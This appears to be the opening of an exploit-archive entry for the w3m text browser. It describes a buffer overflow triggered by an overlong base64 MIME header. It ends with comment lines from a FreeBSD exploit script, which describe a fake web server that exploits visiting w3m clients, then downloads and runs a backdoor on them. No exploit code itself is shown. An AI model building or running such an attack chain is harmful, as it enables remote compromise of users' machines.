W3M is a pager/text-based WWW browser similiar to lynx.

A buffer overflow vulnerability exists in the 'w3m' client program. The overflow occurs when a base64-encoded string exceeding approximately 32 characters in length is received in a MIME header field. As a result, it may be possible for a malicious remote server to execute arbitrary code on a user's system.

# w3m remote buffer overflow exploit for FreeBSD.
# this fake httpd gives exploit code to visitor's w3m, then
# connects to victim's port 10000, downloads backdoor from
# $backdoor, and executes it.
